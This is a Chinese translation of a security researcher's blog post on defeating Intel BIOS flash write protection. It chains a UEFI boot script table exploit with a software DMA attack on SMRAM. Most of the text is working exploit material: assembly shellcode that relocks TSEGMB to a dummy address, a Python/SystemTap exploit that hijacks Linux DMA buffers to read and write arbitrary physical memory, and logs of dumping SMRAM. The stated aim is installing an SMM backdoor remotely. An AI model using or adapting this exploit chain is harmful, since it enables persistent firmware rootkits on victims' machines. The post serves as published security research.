翻译 · 2021年1月6日 0

利用DMA攻击突破UEFI安全机制

原文: http://blog.cr4.sh/2015/09/breaking-uefi-security-with-software.html

大家好!在本文中,我将告诉你更多关于UEFI漏洞利用的信息。上次在“UEFI引导脚本表漏洞利用”的文章中,我展示了如何在PEI的早期阶段执行任意shellcode,从而绕过保护系统管理模式(SMM)内存(SMRAM)免受DMA攻击的安全机制。现在,我们将对SMRAM执行DMA攻击,禁用BIOS_CNTL flash写保护——使我们能够将受感染的固件写入主板上的ROM芯片。这种攻击可以用于安装我的SMM后门,而不需要物理访问目标机器(在之前的文章中,我解释了它是如何工作的,以及如何使用编程器安装它)。我的DMA软件攻击方法基于Linux操作系统,可劫持磁盘驱动器使用的DMA缓冲区的物理地址,这种攻击的概念最初是Rafal Wojtczuk在BH US 2008“Subverting the Xen hypervisor”的演讲中提出的。

BIOS写保护机制

英特尔硬件提供两种主要机制来保护位于主板上的SPI ROM芯片不被操作系统上的软件写入:

  • 通过PCI配置空间访问的平台控制器集线器(PCH)中BIOS_CNTL寄存器的BIOS Write Enable (BIOSWE) 和 BIOS Lock Enable (BLE)位。
  • SPI保护区域寄存器PR0-PR5。同时,PCH中 HSFS 寄存器的FLOCKDN位用于保护PR寄存器不被覆盖。

我在以前的UEFI实验中使用的测试硬件,Intel DQ77KB主板,没有设置SPI保护区域,这对攻击者来说是很好的目标,因为这种安全机制(不像BIOS_CNTL保护)不依赖于系统管理模式,也不可能被我们所说的SMRAM上的DMA软件攻击所击败。因此,本文中的技术主要适用于使用BIOS_CNTL实现flash写保护的主板和笔记本电脑。 以下是Intel® 7 Series / C216 Chipset Family Platform Controller Hub datasheet中关于BIOSWEBLE位的描述:

image-20230809162641420

BIOSWE位用于控制对闪存芯片的写访问, 清零 后只允许读取访问。BLE位更有趣,它用于保护BIOSWE位不被SMM代码进行未经授权的修改。让我们来看看它是怎么工作的:

  1. 在早期引导阶段,系统固件将BIOSWE位清零并设置BLE位,一旦BLE位被设为1——直到下一次平台重置,它都不能被修改。
  2. BLE = 1时,每次尝试设置BIOSWE位都会引发系统管理中断(SMI) —— 最高优先级的中断,将挂起操作系统的执行并将CPU切换到系统管理模式。
  3. 在SMI调度期间,SMM代码将BIOSWE位清零,并恢复OS执行,因此,在OS下运行的攻击者代码可以重新设置BIOSWE

在正确配置且被锁定的平台上,操作系统不能访问在PEI/DXE引导阶段由固件安装的SMM代码,因此,它可以作为安全代理,防止BIOS写保护配置遭受未经授权的修改。让我们来做一个小实验: 我们可以使用CHIPSEC platform security assessment framework编写一个Python脚本来访问BIOS_CNTL寄存器并尝试设置BIOSWE位:

def BIOSWE_set():


   BIOSWE = 1


   # import required CHIPSEC stuff
   import chipsec.chipset
   from chipsec.helper.oshelper import helper


   # initialize CHIPSEC helper
   cs = chipsec.chipset.cs()
   cs.init(None, True)


   # check if BIOS_CNTL register is available
   if not chipsec.chipset.is_register_defined(cs, 'BC'):


       raise Exception('Unsupported hardware')


   # get BIOS_CNTL value
   val = chipsec.chipset.read_register(cs, 'BC')


   print '[+] BIOS_CNTL is 0x%x' % val


   if val & BIOSWE == 0:


       print '[+] Trying to set BIOSWE...'


       # try to set BIOS write enable bit
       chipsec.chipset.write_register(cs, 'BC', val | BIOSWE)


       # check if BIOSWE bit was actually set
       val = chipsec.chipset.read_register(cs, 'BC')
       if val & BIOSWE == 0:


           # fails, BIOSWE modification was prevented by SMM
           print '[!] Can\'t set BIOSWE bit, BIOS write protection is enabled'


       else:


           print '[+] BIOSWE bit was set, BIOS write protection is disabled now'


   else:


       print '[+] BIOSWE bit is already set'


if __name__ == '__main__':


   BIOSWE_set()

以root权限运行此脚本后,我们能看到在Intel DQ77KB主板上,由于启用了BLE保护,无法设置BIOSWE

localhost ~ # python BIOSWE_set.py
[+] BIOS_CNTL is 0x2a
[+] Trying to set BIOSWE...
[!] Can't set BIOSWE bit, BIOS write protection is enabled

要了解更多关于BIOS写保护和安全机制的信息,你还可以阅读以下材料:

直接内存访问(DMA)

你可能已经知道,不仅CPU可以访问物理内存,连接到PCI总线的不同硬件设备,如磁盘控制器或网卡,可以利用直接内存访问(DMA)来读写一些数据到物理内存,而不依赖于处理器。让我们来看看在ATA/ATAPI支持的磁盘控制器下DMA是如何工作的:

  1. 软件为I/O操作数据分配物理内存块,并为该内存创建物理区域描述符表(PRDT)的表项。PRDT —— 是 DMA控制器中用于 映射到物理内存空间的一种特殊的数据结构。
  2. 软件会初始化磁盘控制器的总线主控寄存器,可通过PCI配置空间使用PRDT地址访问磁盘控制器的总线主控寄存器,并在该控制器上启用总线主控器操作模式。
  3. 要开始I/O操作,软件会把DMA读(0xC8/0x25)或DMA写(0xCA/0x35)的ATA/ATAPI命令发送到目标磁盘设备。发送命令后——操作系统可以将执行上下文切换到其他任务,直到I/O操作未完成。
  4. DMA控制器响应来自磁盘设备的DMA请求,并将数据写入物理内存。
  5. 数据传输完成后,磁盘设备将发出一个中断信号,该信号允许操作系统恢复挂起的任务执行。

很容易看出这种设计并不安全——具有恶意DMA功能的硬件可以忽略通过PRDT设置的缓冲区地址,并且可以在不需要任何软件许可的情况下将任意数据读/写到物理内存的任意位置。为缓解此问题,英特尔推出了VT-d —— 英特尔用于定向I/O的虚拟化技术(也称为IOMMU),该技术限制了从硬件直接访问物理内存。Windows,Linux和OS X的现代版本中都提供了IOMMU支持,但是在某些固件攻击的情况下,当攻击者已经完全控制了操作系统后,还需要为SMRAM采用单独的(独立于操作系统或hypervisor)DMA保护机制。 该机制的名称是TSEGMB寄存器,在先前的文章中已经提到过,必须在平台初始化期间通过固件对其进行正确配置且锁定:

image-20230809162655657

但是,如果目标固件容易受到UEFI启动脚本表攻击,我们可以使用先前开发的漏洞利用脚本来绕过TSEGMB保护。为此,我们需要修改漏洞利用脚本的Shellcode并添加一些汇编指令,将TSEGMB寄存器锁定为与实际SMRAM位置不匹配的虚拟/无效地址:

; bus = 0, dev = 0, func = 0, offset = 0xb8
mov     eax, 0x800000b8
mov     dx, 0xcf8
out     dx, eax


; read TSEGMB value
mov     dx, 0xcfc
in      eax, dx


; check if TSEGMB is not locked
and     eax, 1
test    eax, eax
jnz     _end


; bus = 0, dev = 0, func = 0, offset = 0xb8
mov     eax, 0x800000b8
mov     dx, 0xcf8
out     dx, eax


; write and lock TSEGMB with dummy value
mov     eax, 0xff000001
mov     dx, 0xcfc
out     dx, eax


_end:


; ...

现在可以运行该漏洞利用脚本了,在此之前,先让我们来用CHIPSEC框架的smm_dma模块来检查一下当前的TSEGMB值:

localhost chipsec # python chipsec_main.py -m smm_dma


[+] loaded chipsec.modules.smm_dma
[*] running loaded modules ..


[*] running module: chipsec.modules.smm_dma
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/smm_dma.pyc
[x][ =======================================================================
[x][ Module: SMRAM DMA Protection
[x][ =======================================================================
[*] Registers:
[*] PCI0.0.0_TOLUD = 0xDFA00001 << Top of Low Usable DRAM (b:d.f 00:00.0 + 0xBC)
  [00] LOCK             = 1 << Lock
  [20] TOLUD           = DFA << Top of Lower Usable DRAM
[*] PCI0.0.0_BGSM = 0xD7800001 << Base of GTT Stolen Memory (b:d.f 00:00.0 + 0xB4)
  [00] LOCK             = 1 << Lock
  [20] BGSM             = D78 << Base of GTT Stolen Memory
[*] PCI0.0.0_TSEGMB = 0xD7000001 << TSEG Memory Base (b:d.f 00:00.0 + 0xB8)
  [00] LOCK             = 1 << Lock
  [20] TSEGMB           = D70 << TSEG Memory Base
[*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
  [00] Type             = 6 << SMRR memory type
  [12] PhysBase         = D7000 << SMRR physical base address
[*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
  [11] Valid           = 1 << SMRR valid
  [12] PhysMask         = FF800 << SMRR address range mask


[*] Memory Map:
[*]   Top Of Low Memory             : 0xDFA00000
[*]   TSEG Range (TSEGMB-BGSM)     : [0xD7000000-0xD77FFFFF]
[*]   SMRR Range (size = 0x00800000): [0xD7000000-0xD77FFFFF]


[*] checking locks..
[+]   TSEGMB is locked
[+]   BGSM is locked
[*] checking TSEG alignment..
[+]   TSEGMB is 8MB aligned
[*] checking TSEG covers entire SMRR range..
[+]   TSEG covers entire SMRAM


[+] PASSED: TSEG is properly configured. SMRAM is protected from DMA attacks

如你所见:0xD7000000地址看起来是合法的,锁位也设置了。你还可以运行common.smrr模块以确保用于保护SMRAM免受高速缓存攻击的系统管理区域寄存器也具有相同的物理地址:

localhost chipsec # python chipsec_main.py -m common.smrr


[+] loaded chipsec.modules.common.smrr
[*] running loaded modules ..


[*] running module: chipsec.modules.common.smrr
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/smrr.pyc
[x][ =======================================================================
[x][ Module: CPU SMM Cache Poisoning / System Management Range Registers
[x][ =======================================================================
[+] OK. SMRR range protection is supported


[*] Checking SMRR range base programming..
[*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
  [00] Type             = 6 << SMRR memory type
  [12] PhysBase         = D7000 << SMRR physical base address
[*] SMRR range base: 0x00000000D7000000
[*] SMRR range memory type is Writeback (WB)
[+] OK so far. SMRR range base is programmed


[*] Checking SMRR range mask programming..
[*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
  [11] Valid           = 1 << SMRR valid
  [12] PhysMask         = FF800 << SMRR address range mask
[*] SMRR range mask: 0x00000000FF800000
[+] OK so far. SMRR range is enabled


[*] Verifying that SMRR range base & mask are the same on all logical CPUs..
[CPU0] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
[CPU1] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
[CPU2] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
[CPU3] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
[+] OK so far. SMRR range base/mask match on all logical CPUs
[*] Trying to read memory at SMRR base 0xD7000000..
[+] PASSED: SMRR reads are blocked in non-SMM mode


[+] PASSED: SMRR protection against cache attack is properly configured

运行boot_script_table漏洞利用脚本:

localhost chipsec # python chipsec_main.py -m boot_script_table


[+] loaded chipsec.modules.boot_script_table
[*] running loaded modules ..


[*] running module: chipsec.modules.boot_script_table
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/boot_script_table.pyc
[x][ =======================================================================
[x][ Module: UEFI boot script table vulnerability exploit
[x][ =======================================================================
[*] AcpiGlobalVariable = 0xd5f53f18
[*] UEFI boot script addr = 0xd5f4c018
[*] Target function addr = 0xd5ddf260
8 bytes to patch
Found 106 zero bytes for shellcode at 0xd5deaf96
Jump from 0xd5deaffb to 0xd5ddf268
Jump from 0xd5ddf260 to 0xd5deaf96
Going to S3 sleep for 10 seconds ...
rtcwake: assuming RTC uses UTC ...
rtcwake: wakeup from "mem" using /dev/rtc0 at Tue Aug 25 08:14:15 2015
[*] BIOS_CNTL = 0x28
[*] TSEGMB = 0xd7000000
[!] Bios lock enable bit is not set
[!] SMRAM is not locked
[!] Your system is VULNERABLE

检查TSEGMB寄存器:

localhost chipsec # python chipsec_main.py -m smm_dma


[+] loaded chipsec.modules.smm_dma
[*] running loaded modules ..


[*] running module: chipsec.modules.smm_dma
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/smm_dma.pyc
[x][ =======================================================================
[x][ Module: SMRAM DMA Protection
[x][ =======================================================================
[*] Registers:
[*] PCI0.0.0_TOLUD = 0xDFA00001 << Top of Low Usable DRAM (b:d.f 00:00.0 + 0xBC)
  [00] LOCK             = 1 << Lock
  [20] TOLUD           = DFA << Top of Lower Usable DRAM
[*] PCI0.0.0_BGSM = 0xD7800001 << Base of GTT Stolen Memory (b:d.f 00:00.0 + 0xB4)
  [00] LOCK             = 1 << Lock
  [20] BGSM             = D78 << Base of GTT Stolen Memory
[*] PCI0.0.0_TSEGMB = 0xFF000001 << TSEG Memory Base (b:d.f 00:00.0 + 0xB8)
  [00] LOCK             = 1 << Lock
  [20] TSEGMB           = FF0 << TSEG Memory Base
[*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
  [00] Type             = 6 << SMRR memory type
  [12] PhysBase         = D7000 << SMRR physical base address
[*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
  [11] Valid           = 1 << SMRR valid
  [12] PhysMask         = FF800 << SMRR address range mask


[*] Memory Map:
[*]   Top Of Low Memory             : 0xDFA00000
[*]   TSEG Range (TSEGMB-BGSM)     : [0xFF000000-0xD77FFFFF]
[*]   SMRR Range (size = 0x00800000): [0xD7000000-0xD77FFFFF]


[*] checking locks..
[+]   TSEGMB is locked
[+]   BGSM is locked
[*] checking TSEG alignment..
[+]   TSEGMB is 8MB aligned
[*] checking TSEG covers entire SMRR range..
[-]   TSEG doesn't cover entire SMRAM


[-] FAILED: TSEG is not properly configured. SMRAM is vulnerable to DMA attacks

ok,SMRAM的DMA保护已经被禁用了,我们可以进入下一步了。当然,对专门设计的硬件执行这样的攻击是完全没有意义的:我们想在没有对目标平台的进行任何物理访问的情况下破坏所有的东西,这意味着我们需要用设备驱动程序代码劫持由操作系统发起的DMA事件。

使用SystemTap Hook Linux内核

DMA软件攻击是由Rafal Wojtczuk在他的“Subverting the Xen hypervisor”演讲中提出的:

  1. 为了读取任意物理内存,攻击者会用open()函数的O_DIRECT flag来打开一个空文件,该文件需要绕过文件系统缓存。
  2. 然后攻击者使用mmap()分配一个虚拟的虚拟内存缓冲区,并使用write()系统调用将其写入打开的文件。
  3. 在磁盘写调度过程中,Linux内核的ATAPI驱动程序调用dma_map_sg()函数来设置物理内存缓冲区,以进行分散-聚集 DMA操作。攻击者需要先hook此函数,以迭代在scatterlist结构体中传递的内存缓冲区信息,找到之前分配的缓冲区物理地址,并将其替换为他需要读取的物理内存的地址。
  4. write()函数成功返回时——攻击者可以从文件中读取数据以获取存储的内存内容。

任意物理内存地址的写入场景几乎和它相同,只是攻击者使用的是read()系统调用而不是write()。 内核文档中的“Dynamic DMA mapping Guide”(DMA-API-HOWTO.TXT)是帮助你开始使用Linux DMA API进行设备驱动程序开发的指南。分配给 分散-聚集 DMA操作的内存区域由scatterlist结构体表示。下面是内核头文件的定义,内存缓冲区的物理地址被传递给read()/write()系统调用,通常在dma_address字段中:

struct scatterlist {
#ifdef CONFIG_DEBUG_SG
       unsigned long   sg_magic;
#endif
       unsigned long   page_link;
       unsigned int    offset;
       unsigned int    length;
       dma_addr_t      dma_address;
#ifdef CONFIG_NEED_SG_DMA_LENGTH
       unsigned int    dma_length;
#endif
};

Rafal使用了可加载的内核模块来Hook dma_map_sg()函数。不幸的是,在我的Linux内核版本中,此函数被定义为简单宏,被扩展为dma_map_sg_attrs()函数:

#define dma_map_sg(d, s, n, r) dma_map_sg_attrs(d, s, n, r, NULL)


static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
int nents, enum dma_data_direction dir,
struct dma_attrs *attrs)
{
struct dma_map_ops *ops = get_dma_ops(dev);
int i, ents;
struct scatterlist *s;


for_each_sg(sg, s, nents, i)
kmemcheck_mark_initialized(sg_virt(s), s->length);
BUG_ON(!valid_dma_direction(dir));
ents = ops->map_sg(dev, sg, nents, dir, attrs);
BUG_ON(ents < 0);
debug_dma_map_sg(dev, sg, nents, ents, dir);


return ents;
}

由于dma_map_sg_attrs()是一个内联函数 —— 使得我们无法用简单的方法找到并Hook其代码,因此必须找到其他解决方案。如下,有一个debug_dma_map_sg() 函数的调用也可以Hook:

extern void debug_dma_map_sg(struct device *dev, struct scatterlist *sg,
int nents, int mapped_ents, int direction);

实际上,只有在使用CONFIG_DMA_API_DEBUG选项编译该函数时,此函数才会在内核二进制文件中出现,并且你最喜欢的Linux发行版不太可能使用该函数——因此我们必须从源代码配置和构建新内核。这种限制并不是太好,但为了证明概念,它似乎不是很重要。另外,在实际使用可靠的固件rootkit的情况下,仍然可以实现一些二进制试探法来定位内联函数dma_map_sg_attrs()的代码,但是这并不在本文的讨论范围内。 为了使DMA攻击的PoC更简单一些,我在SystemTap的帮助下实现了debug_dma_map_sg()函数钩子,而不是徒手编写一个可加载的内核模块。SystemTap是DTrace的Linux克隆版本,它允许开发人员和管理员用简化的类c语言编写脚本,以检查Linux系统的活动。SystemTap的工作方式是将脚本翻译成C语言,然后运行system C编译器创建一个内核模块。加载模块后,它通过Hook到内核来激活所有探测到的事件。 下面你可以看到一个简单的SystemTap脚本,它Hook debug_dma_map_sg()函数,并将它的参数信息打印到stdout中:

#
# kernel function probe handler
#
probe kernel.function("debug_dma_map_sg")
{
printf("%s(%d): %s(): %d\n", execname(), pid(), probefunc(), $nents);


#
# Each call to sys_write() leads to corresponding call of dma_map_sg(),
# $sg argument contains list of DMA buffers
#
for (i = 0; i < $nents; i++)
{
printf(" #%d (0x%x): 0x%x\n", i, $sg[i]->length, $sg[i]->dma_address);
}
}

在基于debian的系统上,可以使用apt-get install SystemTap命令安装SystemTap。如果你想从源代码安装它——请确保你在编译内核时启用了以下选项:

  • CONFIG_DEBUG_INFO
  • CONFIG_KPROBES
  • CONFIG_RELAY
  • CONFIG_DEBUG_FS
  • CONFIG_MODULES
  • CONFIG_MODULE_UNLOAD
  • CONFIG_UPROBES

现在让我们来尝试使用stap命令运行测试脚本:

localhost ~ # stap -v debug_dma_map_sg.stp
Pass 1: parsed user script and 109 library script(s) using 62180virt/36436res/4264shr/32980data kb, in 160usr/10sys/171real ms.
Pass 2: analyzed script: 1 probe(s), 11 function(s), 4 embed(s), 0 global(s) using 108852virt/84660res/5780shr/79652data kb, in 790usr/210sys/997real ms.
Pass 3: translated to C into "/tmp/stapo6EAoq/stap_be741121b1c20b85b38ff640ac798be6_6031_src.c" using 108852virt/84788res/5908shr/79652data kb, in 190usr/50sys/237real ms.
Pass 4: compiled C into "stap_be741121b1c20b85b38ff640ac798be6_6031.ko" in 3430usr/290sys/4579real ms.
Pass 5: starting run.
usb-storage(1110): debug_dma_map_sg(): 9
#0 (0x1000): 0x3ecca2000
#1 (0x1000): 0x2f34000
#2 (0x1000): 0x41e2b4000
#3 (0x1000): 0xd671e000
#4 (0x1000): 0x41e22e000
#5 (0x1000): 0x40687b000
#6 (0x1000): 0x4061b9000
#7 (0x1000): 0xd670e000
#8 (0x1000): 0x41ddc0000
usb-storage(1110): debug_dma_map_sg(): 1
#0 (0x1000): 0x4027e000
usb-storage(1110): debug_dma_map_sg(): 2
#0 (0x1000): 0x4023d6000
#1 (0x1000): 0x3f7be6000
usb-storage(1110): debug_dma_map_sg(): 1
#0 (0x1000): 0x406595000
usb-storage(1110): debug_dma_map_sg(): 1
#0 (0x1000): 0x41e1fb000
usb-storage(1110): debug_dma_map_sg(): 2
#0 (0x1000): 0xd5460000
#1 (0x1000): 0xd522f000
usb-storage(1110): debug_dma_map_sg(): 2

编写DMA攻击脚本

我决定在Python上编写DMA攻击脚本,和我以前的文章中提到的工具一样。首先,我们需要实现DMA缓冲器劫持。下面的SystemTap脚本(存储为Python字符串变量)接受传递给read()/write()的内存缓冲区的物理地址作为第一个参数,而我们需要读/写的物理内存的目标地址将作为第二个参数:

# print more information from running SystemTap script
VERBOSE = False


# script source code
SCRIPT_CODE = '''


global data_len = 0
global verbose = ''' + ('1' if VERBOSE else '0') + '''


#
# kernel function probe handler
#
probe kernel.function("debug_dma_map_sg")
{
# parse script arguments passed to stap
phys_addr = strtol(@1, 16);
target_addr = strtol(@2, 16);


printf("%s(%d): %s(): %d\\n", execname(), pid(), probefunc(), $nents);


#
# Each call to sys_write() leads to corresponding call of dma_map_sg(),
# $sg argument contains list of DMA buffers
#
if (verbose != 0)
{
for (i = 0; i < $nents; i++)
{
printf(" #%d (0x%x): 0x%x\\n", i, $sg[i]->length, $sg[i]->dma_address);
}
}


# check for data that came from dma_expl.py os.write() call
if ($nents > 0 && $sg[0]->dma_address == phys_addr)
{
printf("[+] DMA request found, changing address to 0x%x\\n",
target_addr + data_len);


# replace addresses of DMA buffers
for (i = 0; i < $nents; i++)
{
$sg[i]->dma_address = target_addr + data_len;
data_len += $sg[i]->length;
}
}
}


'''

继承threading.Thread的Python类可在后台运行SystemTap脚本并将其输出打印到stdout中:

SCRIPT_PATH = '/tmp/dma_expl.stp'


class Worker(threading.Thread):


def __init__(self, phys_addr, target_addr):


super(Worker, self).__init__()


self.daemon = True
self.started = True
self.count = 0


# drop script file into the /tmp
self.create_file()


# run SystemTap script
self.p = subprocess.Popen([ 'stap', '-g', '-v', SCRIPT_PATH,
hex(phys_addr), hex(target_addr) ],
stdout = subprocess.PIPE, stderr = subprocess.PIPE)


# wait for script initialization
while self.started:


line = self.p.stderr.readline()
sys.stdout.write(line)


if line == '':


break


# check for pass 5 that indicates sucessfully loaded script
elif line.find('Pass 5') == 0:


print '[+] SystemTap script started'
break


def create_file(self):


# save script contents into the file
with open(SCRIPT_PATH, 'wb') as fd:


fd.write(SCRIPT_CODE)


def run(self):


while self.started:


# read and print script output
line = self.p.stdout.readline()


if VERBOSE:


sys.stdout.write(line)


if line == '':


self.started = False
break


# check for hijacked DMA request
elif line.find('[+]') == 0:


self.count += 1


def start(self):


super(Worker, self).start()


# delay after script start
time.sleep(1)


def stop(self):


if self.started:


# delay before script shutdown
time.sleep(3)


self.started = False
os.kill(self.p.pid, signal.SIGINT)

现在,我们需要为磁盘读写分配数据缓冲区,并获取其物理地址。Python具有内置的mmap模块,但是该模块不允许指定分配的内存的虚拟地址。为了解决这个问题,我使用了Clement Rouault在“Understanding Python by breaking it”文中提到的ctypes和neat自我检测hack方法:

import mmap
from ctypes import *


class PyObj(Structure):


_fields_ = [("ob_refcnt", c_size_t),
("ob_type", c_void_p)]


# ctypes object for introspection
class PyMmap(PyObj):


_fields_ = [("ob_addr", c_size_t)]


# class that inherits mmap.mmap and has the page address
class MyMap(mmap.mmap):


def __init__(self, *args, **kwarg):


# get the page address by introspection of the native structure
m = PyMmap.from_address(id(self))
self.addr = m.ob_addr

要将获得的虚拟地址转换为物理地址,需使用/proc/self/pagemap Linux伪文件,它可以找出每个虚拟页映射到的物理帧。虚拟内存的每个页面在页面映射中均表示为单个8字节的结构体,其中包含物理内存页面帧号(PFN)和信息标志。 下面是利用类,它的构造函数接受要读取/写入的物理内存的地址,分配数据缓冲区,获取其物理地址并启动SystemTap脚本:

PAGE_SIZE = 0x1000
TEMP_PATH = '/tmp/dma_expl.tmp'


class DmaExpl(object):


# 单个 dma_map_sg() 调用期间可以传输的最大数据量
MAX_IO_SIZE = PAGE_SIZE * 0x1E


def __init__(self, target_addr):


if target_addr & (PAGE_SIZE - 1) != 0:


raise Exception('Address must be aligned by 0x%x' % PAGE_SIZE)


self.phys_addr = 0
self.target_addr = target_addr
self.libc = cdll.LoadLibrary("libc.so.6")


# 分配虚拟数据缓冲区
self.buff = MyMap(-1, self.MAX_IO_SIZE, mmap.PROT_WRITE)
self.buff.write('\x41' * self.MAX_IO_SIZE)


print '[+] Memory allocated at 0x%x' % self.buff.addr


with open('/proc/self/pagemap', 'rb') as fd:


# 读取物理地址信息
fd.seek(self.buff.addr / PAGE_SIZE * 8)
phys_info = struct.unpack('Q', fd.read(8))[0]


# 检查页是否已映射且未交换
if phys_info & (1L << 63) == 0:


raise Exception('Page is not present')


if phys_info & (1L << 62) != 0:


raise Exception('Page is swapped out')


# 从PFN获取物理地址
self.phys_addr = (phys_info & ((1L << 54) - 1)) * PAGE_SIZE


print '[+] Physical address is 0x%x' % self.phys_addr


# 在后台线程中运行SystemTap脚本
self.worker = Worker(self.phys_addr, target_addr)
self.worker.start()


def close(self):


self.worker.stop()


# ...

通过DMA攻击读取任意物理内存的DmaExpl类:

class DmaExpl(object):


# ...


def _dma_read(self, read_size):


count = self.worker.count


print '[+] Reading physical memory 0x%x - 0x%x' % \
(self.target_addr, self.target_addr + read_size - 1)


# O_DIRECT is needed to write our data to disk immediately
fd = os.open(TEMP_PATH, os.O_CREAT | os.O_TRUNC | os.O_RDWR | os.O_DIRECT)


# initiate DMA transaction
if self.libc.write(fd, c_void_p(self.buff.addr), read_size) == -1:


os.close(fd)
raise Exception("write() fails")


os.close(fd)


while self.worker.count == count:


# wait untill intercepted debug_dma_map_sg() call
time.sleep(0.1)


with open(TEMP_PATH, 'rb') as fd:


# get readed data
data = fd.read(read_size)


os.unlink(TEMP_PATH)


self.target_addr += read_size


return data


def read(self, read_size):


data = ''


if read_size < PAGE_SIZE or read_size % PAGE_SIZE != 0:


raise Exception('Invalid read size')


while read_size > 0:


#
# We can read only MAX_IO_SIZE bytes of physical memory
# with each os.write() call.
#
size = min(read_size, self.MAX_IO_SIZE)
data += self._dma_read(size)


read_size -= size


print '[+] DONE'


return data

用类似的方法写入物理内存:

class DmaExpl(object):


# ...


def _dma_write(self, data):


count = self.worker.count
write_size = len(data)


print '[+] Writing physical memory 0x%x - 0x%x' % \
(self.target_addr, self.target_addr + write_size - 1)


with open(TEMP_PATH, 'wb') as fd:


# get readed data
fd.write(data)


# O_DIRECT设置需要立即将我们的数据写入磁盘
fd = os.open(TEMP_PATH, os.O_RDONLY | os.O_DIRECT)


# initiate DMA transaction
if self.libc.read(fd, c_void_p(self.buff.addr), write_size) == -1:


os.close(fd)
raise Exception("read() fails")


os.close(fd)


while self.worker.count == count:


# 等待直到劫持到debug_dma_map_sg()调用
time.sleep(0.1)


os.unlink(TEMP_PATH)


self.target_addr += write_size


def write(self, data):


ptr = 0
write_size = len(data)


if write_size < PAGE_SIZE or write_size % PAGE_SIZE != 0:


raise Exception('Invalid write size')


while ptr < write_size:


#
# We can write only MAX_IO_SIZE bytes of physical memory
# with each os.read() call.
#
self._dma_write(data[ptr : ptr + self.MAX_IO_SIZE])
ptr += self.MAX_IO_SIZE


print '[+] DONE'

下面是DmaExpl用法示例,该代码从0xD7000000开始读取一页物理内存:

# initialize exploit
expl = DmaExpl(0xD7000000)


# perform physical memory read
data = expl.read(0x1000)


# stop SystemTap script
expl.close()

使用此类,我实现了名为dma_expl.py的Python脚本,下面是在Intel DQ77KB主板上将SMRAM的TSEG区域转储到文件中的用法示例。

localhost ~ # python dma_expl.py --read 0xD7000000 --size 0x800000 --file TSEG.bin
[+] Memory allocated at 0x7ff0542ec000
[+] Physical address is 0x3fa15e000
Pass 1: parsed user script and 109 library script(s) using 62176virt/36376res/4216shr/32976data kb, in 160usr/0sys/171real ms.
Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84544res/5644shr/79680data kb, in 780usr/220sys/1120real ms.
Pass 3: translated to C into "/tmp/stapcorPM2/stap_c190a79e672287641579099c59eed383_7943_src.c" using 108880virt/84672res/5772shr/79680data kb, in 170usr/60sys/236real ms.
Pass 4: compiled C into "stap_c190a79e672287641579099c59eed383_7943.ko" in 3560usr/270sys/5209real ms.
Pass 5: starting run.
[+] SystemTap script started
[+] Reading physical memory 0xd7000000 - 0xd701dfff
[+] Reading physical memory 0xd701e000 - 0xd703bfff
[+] Reading physical memory 0xd703c000 - 0xd7059fff
[+] Reading physical memory 0xd705a000 - 0xd7077fff
[+] Reading physical memory 0xd7078000 - 0xd7095fff
[+] Reading physical memory 0xd7096000 - 0xd70b3fff
[+] Reading physical memory 0xd70b4000 - 0xd70d1fff
[+] Reading physical memory 0xd70d2000 - 0xd70effff
[+] Reading physical memory 0xd70f0000 - 0xd710dfff
[+] Reading physical memory 0xd710e000 - 0xd712bfff
[+] Reading physical memory 0xd712c000 - 0xd7149fff
[+] Reading physical memory 0xd714a000 - 0xd7167fff
[+] Reading physical memory 0xd7168000 - 0xd7185fff
[+] Reading physical memory 0xd7186000 - 0xd71a3fff
[+] Reading physical memory 0xd71a4000 - 0xd71c1fff
[+] Reading physical memory 0xd71c2000 - 0xd71dffff
[+] Reading physical memory 0xd71e0000 - 0xd71fdfff
[+] Reading physical memory 0xd71fe000 - 0xd721bfff
[+] Reading physical memory 0xd721c000 - 0xd7239fff
[+] Reading physical memory 0xd723a000 - 0xd7257fff
[+] Reading physical memory 0xd7258000 - 0xd7275fff
[+] Reading physical memory 0xd7276000 - 0xd7293fff
[+] Reading physical memory 0xd7294000 - 0xd72b1fff
[+] Reading physical memory 0xd72b2000 - 0xd72cffff
[+] Reading physical memory 0xd72d0000 - 0xd72edfff
[+] Reading physical memory 0xd72ee000 - 0xd730bfff
[+] Reading physical memory 0xd730c000 - 0xd7329fff
[+] Reading physical memory 0xd732a000 - 0xd7347fff
[+] Reading physical memory 0xd7348000 - 0xd7365fff
[+] Reading physical memory 0xd7366000 - 0xd7383fff
[+] Reading physical memory 0xd7384000 - 0xd73a1fff
[+] Reading physical memory 0xd73a2000 - 0xd73bffff
[+] Reading physical memory 0xd73c0000 - 0xd73ddfff
[+] Reading physical memory 0xd73de000 - 0xd73fbfff
[+] Reading physical memory 0xd73fc000 - 0xd7419fff
[+] Reading physical memory 0xd741a000 - 0xd7437fff
[+] Reading physical memory 0xd7438000 - 0xd7455fff
[+] Reading physical memory 0xd7456000 - 0xd7473fff
[+] Reading physical memory 0xd7474000 - 0xd7491fff
[+] Reading physical memory 0xd7492000 - 0xd74affff
[+] Reading physical memory 0xd74b0000 - 0xd74cdfff
[+] Reading physical memory 0xd74ce000 - 0xd74ebfff
[+] Reading physical memory 0xd74ec000 - 0xd7509fff
[+] Reading physical memory 0xd750a000 - 0xd7527fff
[+] Reading physical memory 0xd7528000 - 0xd7545fff
[+] Reading physical memory 0xd7546000 - 0xd7563fff
[+] Reading physical memory 0xd7564000 - 0xd7581fff
